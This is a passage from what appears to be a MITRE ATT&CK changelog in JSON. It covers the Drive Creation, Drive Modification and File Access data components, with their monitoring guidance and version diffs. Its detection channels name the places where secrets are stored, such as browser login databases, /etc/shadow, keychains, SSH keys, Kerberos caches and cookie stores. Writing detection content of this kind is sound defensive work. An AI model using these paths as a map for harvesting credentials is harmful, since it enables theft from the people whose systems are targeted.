`/mnt/virtualdrive` using an ISO image or a virtual hard disk (VHD).\n- Cloud Storage Mounting: Google Drive is mounted as `G:\\` on a Windows machine using a cloud sync tool.\n- External Storage Integration: An external HDD or SSD is connected and assigned `/mnt/external` on a Linux system.\n\nThis data component can be collected through the following measures:\n\nWindows Event Logs\n\n- Relevant Events:\n - Event ID 98: Logs the creation of a volume (mount or new drive letter assignment).\n - Event ID 1006: Logs removable storage device insertions.\n- Configuration: Enable \"Removable Storage Events\" in the Group Policy settings:\n`Computer Configuration > Administrative Templates > System > Removable Storage Access`\n\nLinux System Logs\n\n- Command-Line Monitoring: Use `dmesg` or `journalctl` to monitor mount events.\n\n- Auditd Configuration: Add audit rules to track mount points.\n- Logs can be reviewed in /var/log/audit/audit.log.\n\nmacOS System Logs\n\n- Unified Logs: Monitor system logs for mount activity:\n- Command-Line Tools: Use `diskutil list` to verify newly created or mounted drives.\n\nEndpoint Detection and Response (EDR) Tools\n\n- EDR solutions can log removable drive usage and network-mounted drives. Configure EDR policies to alert on suspicious drive creation events.\n\nSIEM Tools\n\n- Centralize logs from multiple platforms into a SIEM (e.g., Splunk) to correlate and alert on suspicious drive creation activities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Drive", + "channel": "None" + }, + { + "name": "WinEventLog:System", + "channel": "Kernel-PnP 410/400 device install, disk added" + }, + { + "name": "auditd:SYSCALL", + "channel": "mknod,open,openat" + }, + { + "name": "macos:unifiedlog", + "channel": "mounted|appeared|DA: disk* attached" + }, + { + "name": "WinEventLog:Microsoft-Windows-Partition/Diagnostic", + "channel": "EventCode=1006" + }, + { + "name": "auditd:SYSCALL", + "channel": "Removable media mount notification" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.diskarbitration" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=1006,10001" + }, + { + "name": "auditd:SYSCALL", + "channel": "device event logs" + }, + { + "name": "linux:osquery", + "channel": "mount_events" + }, + { + "name": "macos:unifiedlog", + "channel": "Volume Mount + File Read" + }, + { + "name": "WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational", + "channel": "EventCode=2003" + }, + { + "name": "auditd:SYSCALL", + "channel": "udev events or drive enumeration involving TinyPilot paths or device classes" + }, + { + "name": "linux:syslog", + "channel": "Device attach logs containing TinyPilot/PiKVM identifiers" + }, + { + "name": "macos:unifiedlog", + "channel": "Hardware enumeration events via IOKit or USBMuxd showing TinyPilot or unknown keyboard/mouse" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=2003" + }, + { + "name": "auditd:SYSCALL", + "channel": "Kernel Device Events - USB Block Devices" + }, + { + "name": "maos:osquery", + "channel": "mount_events" + }, + { + "name": "macos:unifiedlog", + "channel": "Volume Mount + Process Trace + File Read" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=20001/20003" + }, + { + "name": "journald:systemd", + "channel": "udisks2 or udevd logs" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"USBMSC\"'" + }, + { + "name": "WinEventLog:System", + "channel": "20001-20003" + }, + { + "name": "linux:syslog", + "channel": "New HID device enumeration with type 'keyboard' followed by immediate input injection" + }, + { + "name": "macos:unifiedlog", + "channel": "New IOUSB keyboard/HID device enumerated with suspicious attributes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0042\", \"external_id\": \"DC0042\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Drive\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"Kernel-PnP 410/400 device install, disk added\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mknod,open,openat\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"mounted|appeared|DA: disk* attached\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Partition/Diagnostic\", \"channel\": \"EventCode=1006\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Removable media mount notification\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.diskarbitration\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=1006,10001\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"device event logs\"}, {\"name\": \"linux:osquery\", \"channel\": \"mount_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Volume Mount + File Read\"}, {\"name\": \"WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational\", \"channel\": \"EventCode=2003\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"udev events or drive enumeration involving TinyPilot paths or device classes\"}, {\"name\": \"linux:syslog\", \"channel\": \"Device attach logs containing TinyPilot/PiKVM identifiers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Hardware enumeration events via IOKit or USBMuxd showing TinyPilot or unknown keyboard/mouse\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=2003\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Kernel Device Events - USB Block Devices\"}, {\"name\": \"maos:osquery\", \"channel\": \"mount_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Volume Mount + Process Trace + File Read\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=20001/20003\"}, {\"name\": \"journald:systemd\", \"channel\": \"udisks2 or udevd logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"USBMSC\\\"'\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"20001-20003\"}, {\"name\": \"linux:syslog\", \"channel\": \"New HID device enumeration with type 'keyboard' followed by immediate input injection\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"New IOUSB keyboard/HID device enumerated with suspicious attributes\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.342000+00:00\", \"old_value\": \"2025-04-18 15:12:36.536000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-22 19:03:17.198000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0046", + "external_id": "DC0046" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Drive Modification", + "description": "The alteration of a drive letter, mount point, or other attributes of a data storage device, which could involve reassignment, renaming, permissions changes, or other modifications. Examples: \n\n- Drive Letter Reassignment: A USB drive previously assigned `E:\\` is reassigned to `D:\\` on a Windows machine.\n- Mount Point Change: On a Linux system, a mounted storage device at `/mnt/external` is moved to `/mnt/storage`.\n- Drive Permission Changes: A shared drive's permissions are modified to allow write access for unauthorized users or processes.\n- Renaming of a Drive: A network drive labeled \"HR_Share\" is renamed to \"Shared_Resources.\"\n- Modification of Cloud-Integrated Drives: A cloud storage mount such as Google Drive is modified to sync only specific folders.\n\nThis data component can be collected through the following measures:\n\nWindows Event Logs\n\n- Relevant Events:\n - Event ID 98: Indicates changes to a volume (e.g., drive letter reassignment).\n - Event ID 1006: Logs permission modifications or changes to removable storage.\n- Configuration: Enable \"Storage Operational Logs\" in the Event Viewer:\n`Applications and Services Logs > Microsoft > Windows > Storage-Tiering > Operational`\n\nLinux System Logs\n\n- Auditd Configuration: Add audit rules to track changes to mounted drives: `auditctl -w /mnt/ -p w -k drive_modification`\n- Command-Line Monitoring: Use `dmesg` or `journalctl` to observe drive modifications.\n\nmacOS System Logs\n\n- Unified Logs: Collect mount or drive modification events: `log show --info | grep \"Volume modified\"`\n- Command-Line Monitoring: Use `diskutil` to track changes:\n\nEndpoint Detection and Response (EDR) Tools\n\n- Configure policies in EDR solutions to monitor and log changes to drive configurations or attributes.\n\nSIEM Tools\n\n- Aggregate logs from multiple systems into a centralized platform like Splunk to correlate events and alert on suspicious drive modification activities.\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Drive", + "channel": "None" + }, + { + "name": "networkdevice:runtime", + "channel": "Firmware image uploaded via TFTP/FTP/SCP" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Raw disk write access via \\\\.\\PhysicalDrive* or \\\\.\\C:" + }, + { + "name": "macos:unifiedlog", + "channel": "IOKit disk write calls targeting raw devices" + }, + { + "name": "linux:syslog", + "channel": "Block device write errors or unusual bootloader activity" + }, + { + "name": "networkdevice:firmware", + "channel": "Unexpected firmware image upload events via TFTP/FTP/SCP" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Raw write attempts targeting \\\\.\\PhysicalDrive0 or sector 0 (MBR/partition table)" + }, + { + "name": "macos:unifiedlog", + "channel": "IOKit raw disk write to EFI/boot partition sectors" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Raw disk writes targeting \\\\.\\PhysicalDrive* or MBR locations" + }, + { + "name": "macos:unifiedlog", + "channel": "IOKit raw disk write activity targeting physical devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0046\", \"external_id\": \"DC0046\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Drive\", \"channel\": \"None\"}, {\"name\": \"networkdevice:runtime\", \"channel\": \"Firmware image uploaded via TFTP/FTP/SCP\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Raw disk write access via \\\\\\\\.\\\\PhysicalDrive* or \\\\\\\\.\\\\C:\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"IOKit disk write calls targeting raw devices\"}, {\"name\": \"linux:syslog\", \"channel\": \"Block device write errors or unusual bootloader activity\"}, {\"name\": \"networkdevice:firmware\", \"channel\": \"Unexpected firmware image upload events via TFTP/FTP/SCP\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Raw write attempts targeting \\\\\\\\.\\\\PhysicalDrive0 or sector 0 (MBR/partition table)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"IOKit raw disk write to EFI/boot partition sectors\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Raw disk writes targeting \\\\\\\\.\\\\PhysicalDrive* or MBR locations\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"IOKit raw disk write activity targeting physical devices\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 19:03:17.198000+00:00\", \"old_value\": \"2025-04-18 15:12:35.797000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065\"}}, \"iterable_item_added\": {\"root['x_mitre_domains'][1]\": \"ics-attack\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:35.674000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0055", + "external_id": "DC0055" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File Access", + "description": "To events where a file is opened or accessed, making its contents available to the requester. This includes reading, executing, or interacting with files by authorized or unauthorized entities. Examples include logging file access events (e.g., Windows Event ID 4663), monitoring file reads, and detecting unusual file access patterns. Examples: \n\n- File Read Operations: A user opens a sensitive document (e.g., financial_report.xlsx) on a shared drive.\n- File Execution: A script or executable file is accessed and executed (e.g., malware.exe is run from a temporary directory).\n- Unauthorized File Access: An unauthorized user attempts to access a protected configuration file (e.g., `/etc/passwd` on Linux or `System32` files on Windows).\n- File Access Patterns: Bulk access to multiple files in a short time (e.g., mass access to documents on a file server).\n- File Access via Network: Files on a network share are accessed remotely (e.g., logs of SMB file access).\n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Windows Event Logs: Event ID 4663: Captures file system auditing details, including who accessed the file, access type, and file name.\n- Sysmon:\n - Event ID 11: Logs file creation time changes.\n - Event ID 1 (process creation): Can provide insight into files executed.\n- PowerShell: Commands to monitor file access in real-time: `Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663}`\n\nLinux\n\n- Auditd: Monitor file access events using audit rules: `auditctl -w /path/to/file -p rwxa -k file_access`\n- View logs: `ausearch -k file_access`\n- Inotify: Use inotify to track file access on Linux: `inotifywait -m /path/to/watch -e access`\n\nmacOS\n\n- Unified Logs: Monitor file access using the macOS Unified Logging System.\n- FSEvents: File System Events can track file accesses: `fs_usage | grep open`\n\nNetwork Devices\n\n- SMB/CIFS Logs: Monitor file access over network shares using logs from SMB or CIFS protocol.\n- NAS Logs: Collect logs from network-attached storage systems for file access events.\n\nSIEM Integration\n\n- Collect file access logs from all platforms (Windows, Linux, macOS) and centralize in a SIEM for correlation and analysis.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "File", + "channel": "None" + }, + { + "name": "m365:unified", + "channel": "FileAccessed, MailboxAccessed" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, read, or stat of browser config files" + }, + { + "name": "macos:unifiedlog", + "channel": "Access to ~/Library/*/Safari or Chrome directories by non-browser processes" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "name": "macos:unifiedlog", + "channel": "file events" + }, + { + "name": "gcp:audit", + "channel": "Write operations to storage" + }, + { + "name": "esxi:vmkernel", + "channel": "VMFS access logs" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations" + }, + { + "name": "auditd:SYSCALL", + "channel": "open: File access attempt on /tmp/krb5cc_* or /tmp/krb5.ccache" + }, + { + "name": "macos:unifiedlog", + "channel": "Kerberos framework calls to API:{uuid} cache outside normal process lineage" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656, 4663" + }, + { + "name": "auditd:FILE", + "channel": "/home/*/.mozilla/firefox/*/logins.json OR /home/*/.config/google-chrome/*/Login Data" + }, + { + "name": "macos:unifiedlog", + "channel": "~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json" + }, + { + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "name": "auditd:FILE", + "channel": "/proc/*/mem read attempt" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656,4663" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4670, 4663" + }, + { + "name": "auditd:PATH", + "channel": "Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)" + }, + { + "name": "macos:unifiedlog", + "channel": "Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, read" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5145, 4663" + }, + { + "name": "linux:syslog", + "channel": "auth.log or custom tool logs" + }, + { + "name": "fs:fsusage", + "channel": "file" + }, + { + "name": "linux:syslog", + "channel": "/var/log/syslog" + }, + { + "name": "macos:osquery", + "channel": "file_events" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, flock, fcntl, unlink" + }, + { + "name": "fs:fsusage", + "channel": "File Access Monitor" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream - file subsystem" + }, + { + "name": "auditd:SYSCALL", + "channel": "read/open of sensitive files" + }, + { + "name": "macos:unifiedlog", + "channel": "file read of sensitive directories" + }, + { + "name": "esxi:hostd", + "channel": "datastore file access" + }, + { + "name": "auditd:SYSCALL", + "channel": "Unusual processes accessing or modifying cookie databases" + }, + { + "name": "macos:unifiedlog", + "channel": "Abnormal process access to Safari or Chrome cookie storage" + }, + { + "name": "auditd:SYSCALL", + "channel": "PATH records referencing /dev/video*" + }, + { + "name": "macos:endpointsecurity", + "channel": "open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks" + }, + { + "name": "ebpf:syscalls", + "channel": "container_file_activity" + }, + { + "name": "fs:fsusage", + "channel": "Disk Activity Tracing" + }, + { + "name": "macos:keychain", + "channel": "Access to Keychain DB or system.keychain" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/" + }, + { + "name": "macos:keychain", + "channel": "~/Library/Keychains, /Library/Keychains" + }, + { + "name": "m365:unified", + "channel": "Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)" + }, + { + "name": "auditd:PATH", + "channel": "open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)" + }, + { + "name": "macos:unifiedlog", + "channel": "open: Access to /var/log/system.log or related security event logs" + }, + { + "name": "azure:activity", + "channel": "CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows" + }, + { + "name": "esxi:hostd", + "channel": "read: Access to sensitive log files by non-admin users" + }, + { + "name": "auditd:SYSCALL", + "channel": "Processes reading credential or token cache files" + }, + { + "name": "auditd:SYSCALL", + "channel": "read/open of sensitive file directories" + }, + { + "name": "esxi:hostd", + "channel": "datastore/log file access" + }, + { + "name": "fs:fsusage", + "channel": "filesystem activity" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational", + "channel": "Suspicious file execution on removable media path" + }, + { + "name": "auditd:PATH", + "channel": "path" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read of sensitive config or secret files" + }, + { + "name": "macos:unifiedlog", + "channel": "open/read of *.plist or .env files" + }, + { + "name": "ebpf:syscalls", + "channel": "open/read on secret mount paths" + }, + { + "name": "CloudTrail:GetObject", + "channel": "sensitive credential files in buckets or local image storage" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read of sensitive directories" + }, + { + "name": "macos:unifiedlog", + "channel": "read of user document directories" + }, + { + "name": "esxi:syslog", + "channel": "guest OS outbound transfer logs" + }, + { + "name": "auditd:PATH", + "channel": "PATH" + }, + { + "name": "fs:fsusage", + "channel": "Filesystem Call Monitoring" + }, + { + "name": "esxi:hostd", + "channel": "vSphere File API Access" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read: Access to /proc/self/status with focus on TracerPID field" + }, + { + "name": "fs:fsusage", + "channel": "read/write" + }, + { + "name": "esxis:vmkernel", + "channel": "Datastore Access" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read access to ~/.bash_history" + }, + { + "name": "macos:endpointsecurity", + "channel": "open or read syscall to ~/.bash_history" + }, + { + "name": "macos:unifiedlog", + "channel": "read access to ~/Library/Keychains/login.keychain-db" + }, + { + "name": "auditd:SYSCALL", + "channel": "open,read" + }, + { + "name": "macos:unifiedlog", + "channel": "filesystem and process events" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read system calls to ~/.bash_history or /etc/shadow" + }, + { + "name": "macos:unifiedlog", + "channel": "read access to ~/Library/Keychains or history files by terminal processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "read of /run/secrets or docker volumes by non-entrypoint process" + }, + { + "name": "macos:unifiedlog", + "channel": "access to /Volumes/SharePoint or network mount" + }, + { + "name": "auditd:SYSCALL", + "channel": "Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input" + }, + { + "name": "macos:unifiedlog", + "channel": "Access to ~/Library/Safari/Bookmarks.plist or recent files" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read" + }, + { + "name": "macos:unifiedlog", + "channel": "access to keychain database" + }, + { + "name": "auditd:PATH", + "channel": "file read" + }, + { + "name": "linux:syslog", + "channel": "kernel messages related to cryptographic operations, module loading, and filesystem access patterns" + }, + { + "name": "fs:fsevents", + "channel": "file system events indicating access to system configuration files and environmental information sources" + }, + { + "name": "macos:endpointsecurity", + "channel": "es_event_open, es_event_exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "open or read to browser cookie storage" + }, + { + "name": "fs:fsusage", + "channel": "file open for known browser cookie paths" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, read, mount" + }, + { + "name": "fs:fsusage", + "channel": "file reads/writes from /Volumes/" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream - file provider subsystem" + }, + { + "name": "auditd:SYSCALL", + "channel": "file" + }, + { + "name": "kubernetes:audit", + "channel": "GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server" + }, + { + "name": "auditd:SYSCALL", + "channel": "Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey" + }, + { + "name": "fs:quarantine", + "channel": "/var/log/quarantine.log" + }, + { + "name": "desktop:file_manager", + "channel": "nautilus, dolphin, or gvfs logs" + }, + { + "name": "linux:osquery", + "channel": "/proc/*/maps access" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read of sensitive directories (/etc, /home/*)" + }, + { + "name": "macos:unifiedlog", + "channel": "read/write of user documents prior to upload" + }, + { + "name": "esxi:hostd", + "channel": "file copy or datastore upload via HTTPS" + }, + { + "name": "macos:unifiedlog", + "channel": "open/read access to private key files (id_rsa, *.pem, *.p12)" + }, + { + "name": "linux:osquery", + "channel": "None" + }, + { + "name": "macos:osquery", + "channel": "None" + }, + { + "name": "fs:fileevents", + "channel": "File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)" + }, + { + "name": "auditd:FS", + "channel": "read: File access to /proc/modules or /sys/module/" + }, + { + "name": "macos:unifiedlog", + "channel": "read: File access to /System/Library/Extensions/ or related kernel extension paths" + }, + { + "name": "auditd:SYSCALL", + "channel": "PATH" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read on ~/.local/share/keepassxc/* OR ~/.password-store/*" + }, + { + "name": "macos:unifiedlog", + "channel": "*.opvault OR *.ldb OR *.kdbx" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0055\", \"external_id\": \"DC0055\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"File\", \"channel\": \"None\"}, {\"name\": \"m365:unified\", \"channel\": \"FileAccessed, MailboxAccessed\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, read, or stat of browser config files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Access to ~/Library/*/Safari or Chrome directories by non-browser processes\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file events\"}, {\"name\": \"gcp:audit\", \"channel\": \"Write operations to storage\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMFS access logs\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open: File access attempt on /tmp/krb5cc_* or /tmp/krb5.ccache\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Kerberos framework calls to API:{uuid} cache outside normal process lineage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656, 4663\"}, {\"name\": \"auditd:FILE\", \"channel\": \"/home/*/.mozilla/firefox/*/logins.json OR /home/*/.config/google-chrome/*/Login Data\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open\"}, {\"name\": \"auditd:FILE\", \"channel\": \"/proc/*/mem read attempt\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656,4663\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4670, 4663\"}, {\"name\": \"auditd:PATH\", \"channel\": \"Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, read\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5145, 4663\"}, {\"name\": \"linux:syslog\", \"channel\": \"auth.log or custom tool logs\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file\"}, {\"name\": \"linux:syslog\", \"channel\": \"/var/log/syslog\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, flock, fcntl, unlink\"}, {\"name\": \"fs:fsusage\", \"channel\": \"File Access Monitor\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream - file subsystem\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"read/open of sensitive files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file read of sensitive directories\"}, {\"name\": \"esxi:hostd\", \"channel\": \"datastore file access\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Unusual processes accessing or modifying cookie databases\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Abnormal process access to Safari or Chrome cookie storage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"PATH records referencing /dev/video*\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"container_file_activity\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Disk Activity Tracing\"}, {\"name\": \"macos:keychain\", \"channel\": \"Access to Keychain DB or system.keychain\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/\"}, {\"name\": \"macos:keychain\", \"channel\": \"~/Library/Keychains, /Library/Keychains\"}, {\"name\": \"m365:unified\", \"channel\": \"Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)\"}, {\"name\": \"auditd:PATH\", \"channel\": \"open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"open: Access to /var/log/system.log or related security event logs\"}, {\"name\": \"azure:activity\", \"channel\": \"CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows\"}, {\"name\": \"esxi:hostd\", \"channel\": \"read: Access to sensitive log files by non-admin users\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Processes reading credential or token cache files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"read/open of sensitive file directories\"}, {\"name\": \"esxi:hostd\", \"channel\": \"datastore/log file access\"}, {\"name\": \"fs:fsusage\", \"channel\": \"filesystem activity\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Defender/Operational\", \"channel\": \"Suspicious file execution on removable media path\"}, {\"name\": \"auditd:PATH\", \"channel\": \"path\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read of sensitive config or secret files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"open/read of *.plist or .env files\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"open/read on secret mount paths\"}, {\"name\": \"CloudTrail:GetObject\", \"channel\": \"sensitive credential files in buckets or local image storage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read of sensitive directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"read of user document directories\"}, {\"name\": \"esxi:syslog\", \"channel\": \"guest OS outbound transfer logs\"}, {\"name\": \"auditd:PATH\", \"channel\": \"PATH\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Filesystem Call Monitoring\"}, 